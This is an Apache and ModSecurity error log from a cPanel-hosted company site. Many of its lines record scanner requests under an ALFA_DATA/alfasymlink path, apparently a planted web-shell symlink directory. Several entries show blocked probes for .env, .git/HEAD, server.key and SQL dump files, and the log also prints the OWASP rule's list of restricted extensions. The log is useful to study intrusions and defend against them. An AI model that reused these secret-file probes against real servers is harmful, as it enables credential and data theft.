[Sun Oct 25 23:55:44.007188 2026] [core:error] [pid 2955283:tid 2955283] (13)Permission denied: [client 85.208.96.203:21368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/slabs
[Sun Oct 25 23:55:46.442030 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 35.173.18.61:20918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:55:52.995699 2026] [core:error] [pid 2949515:tid 2949515] (13)Permission denied: [client 85.208.96.202:40156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/objs_per_slab
[Sun Oct 25 23:55:54.321864 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 52.201.155.215:63664] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:56:02.328437 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 52.205.141.124:52532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/ttyS1/subsystem/ttyS0/device/tty/ttyS3/custom_divisor
[Sun Oct 25 23:56:30.388075 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 100.29.63.24:46823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:56:34.436747 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 34.192.67.98:48461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:56:38.379209 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 23.21.250.48:1359] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:56:42.420557 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 23.21.119.232:33469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:56:54.529355 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 44.205.74.196:17131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:56:58.503841 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 3.81.253.213:50746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:57:06.536746 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 23.23.104.107:29745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:57:22.375317 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 44.206.65.8:46496] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:57:34.489566 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 52.204.71.8:11685] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:57:38.552511 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 23.23.180.225:1907] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:57:42.506516 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 54.225.199.17:7819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:57:50.530967 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.2.191.202:39867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:57:54.603422 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.221.244.28:12575] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:58:02.793981 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 52.54.249.218:43334] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:58:06.392522 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 52.205.113.104:14933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:58:14.519910 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 3.220.148.166:59881] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/ACPI0010:00/subsystem/drivers/hardware_error_device/unbind
[Sun Oct 25 23:58:18.410128 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.232.102.111:62902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:58:22.869364 2026] [core:error] [pid 2949645:tid 2949645] (13)Permission denied: [client 3.229.164.203:11528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/subsystem/drivers/processor/cpu0/crash_notes_size
[Sun Oct 25 23:58:26.378194 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 18.232.12.157:33727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:58:30.401838 2026] [core:error] [pid 2950561:tid 2950561] (13)Permission denied: [client 3.215.59.93:33966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:1d/subsystem/drivers/hardware_error_device/unbind
[Sun Oct 25 23:58:38.555102 2026] [core:error] [pid 2949645:tid 2949645] (13)Permission denied: [client 18.211.148.239:60169] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/device/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/remove
[Sun Oct 25 23:58:46.419068 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.222.85.38:6992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:58:50.558018 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 18.207.89.138:57035] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:58:54.669258 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 3.216.13.10:18451] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:02.560767 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 18.213.240.226:62330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:06.429783 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 100.29.63.24:4597] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:10.421602 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 44.221.37.41:65375] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:14.835655 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 34.206.249.188:14167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:18.468488 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 52.44.174.136:31130] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:26.434065 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 44.221.180.179:28518] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:28.687526 2026] [proxy_fcgi:error] [pid 2948938:tid 2948938] [client 209.38.254.123:58390] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 23:59:34.445513 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 98.82.66.172:3784] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:38.432779 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 44.213.202.136:6767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:42.420269 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 18.204.152.114:19553] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:50.644976 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.204.174.139:24317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:54.884710 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.220.148.166:62312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:59:59.569185 2026] [ssl:error] [pid 2949515:tid 2949515] (70014)End of file found: [client 54.156.55.147:46890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:00:02.696825 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 3.93.211.16:53568] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:00:02.697049 2026] [security2:error] [pid 2954190:tid 2954190] [client 3.93.211.16:53568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/power_state"] [unique_id "at7QQvoKyTuj-yC3xtKGSgAAAAE"]
[Mon Oct 26 00:00:02.697078 2026] [security2:error] [pid 2954190:tid 2954190] [client 3.93.211.16:53568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/power_state"] [unique_id "at7QQvoKyTuj-yC3xtKGSgAAAAE"]
[Mon Oct 26 00:00:10.695880 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 52.4.76.156:8159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:00:22.446806 2026] [ssl:error] [pid 2950561:tid 2950561] (70014)End of file found: [client 52.45.77.169:11822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:00:26.678499 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 107.20.25.33:15229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:00:34.512312 2026] [ssl:error] [pid 2954002:tid 2954002] (70014)End of file found: [client 34.227.156.153:64731] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:00:48.932758 2026] [core:error] [pid 2942316:tid 2942316] (13)Permission denied: [client 185.191.171.17:23936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/red_zone
[Mon Oct 26 00:00:50.067602 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 85.208.96.194:42278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/objs_per_slab
[Mon Oct 26 00:00:54.469637 2026] [core:error] [pid 2949651:tid 2949651] (13)Permission denied: [client 54.156.55.147:54658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/driver/unbind
[Mon Oct 26 00:00:58.670472 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 54.90.8.255:38765] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:01:02.552266 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 50.16.72.185:3260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:01:06.698387 2026] [ssl:error] [pid 2956090:tid 2956090] (70014)End of file found: [client 52.1.106.130:13080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:01:34.540516 2026] [core:error] [pid 2957109:tid 2957109] (13)Permission denied: [client 52.200.54.136:25487] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/rescan
[Mon Oct 26 00:01:44.294691 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at7QqHU04zBhf8656cj5ZgAAAA0"]
[Mon Oct 26 00:01:44.295060 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at7QqHU04zBhf8656cj5ZgAAAA0"]
[Mon Oct 26 00:01:44.295329 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at7QqHU04zBhf8656cj5ZgAAAA0"]
[Mon Oct 26 00:01:44.694186 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at7QqHU04zBhf8656cj5ZwAAAA0"]
[Mon Oct 26 00:01:44.694664 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at7QqHU04zBhf8656cj5ZwAAAA0"]
[Mon Oct 26 00:01:44.695076 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "at7QqHU04zBhf8656cj5ZwAAAA0"]
[Mon Oct 26 00:01:44.793805 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7QqHU04zBhf8656cj5aAAAAA0"]
[Mon Oct 26 00:01:44.794007 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7QqHU04zBhf8656cj5aAAAAA0"]
[Mon Oct 26 00:01:44.794278 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at7QqHU04zBhf8656cj5aAAAAA0"]
[Mon Oct 26 00:01:44.986082 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at7QqHU04zBhf8656cj5agAAAA0"]
[Mon Oct 26 00:01:44.986398 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at7QqHU04zBhf8656cj5agAAAA0"]
[Mon Oct 26 00:01:44.986682 2026] [security2:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at7QqHU04zBhf8656cj5agAAAA0"]
[Mon Oct 26 00:01:45.104865 2026] [proxy_fcgi:error] [pid 2956090:tid 2956090] [client 91.148.245.81:46222] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 00:01:45.317120 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at7Qqa2Hvm-I1Dg70Ad4zQAAABU"]
[Mon Oct 26 00:01:45.317508 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at7Qqa2Hvm-I1Dg70Ad4zQAAABU"]
[Mon Oct 26 00:01:45.317776 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "at7Qqa2Hvm-I1Dg70Ad4zQAAABU"]
[Mon Oct 26 00:01:45.419267 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at7Qqa2Hvm-I1Dg70Ad4zgAAABU"]
[Mon Oct 26 00:01:45.419643 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at7Qqa2Hvm-I1Dg70Ad4zgAAABU"]
[Mon Oct 26 00:01:45.419973 2026] [security2:error] [pid 2949651:tid 2949651] [client 91.148.244.131:50360] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/storage/logs/laravel.log"] [unique_id "at7Qqa2Hvm-I1Dg70Ad4zgAAABU"]
[Mon Oct 26 00:01:45.540085 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7QqQYue--VGB-9RmiCuAAAAAA"]
[Mon Oct 26 00:01:45.540283 2026] [security2:error] [pid 2958988:tid 2958988] [client 91.148.244.131:50398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at7QqQYue--VGB-9RmiCuAAAAAA"]
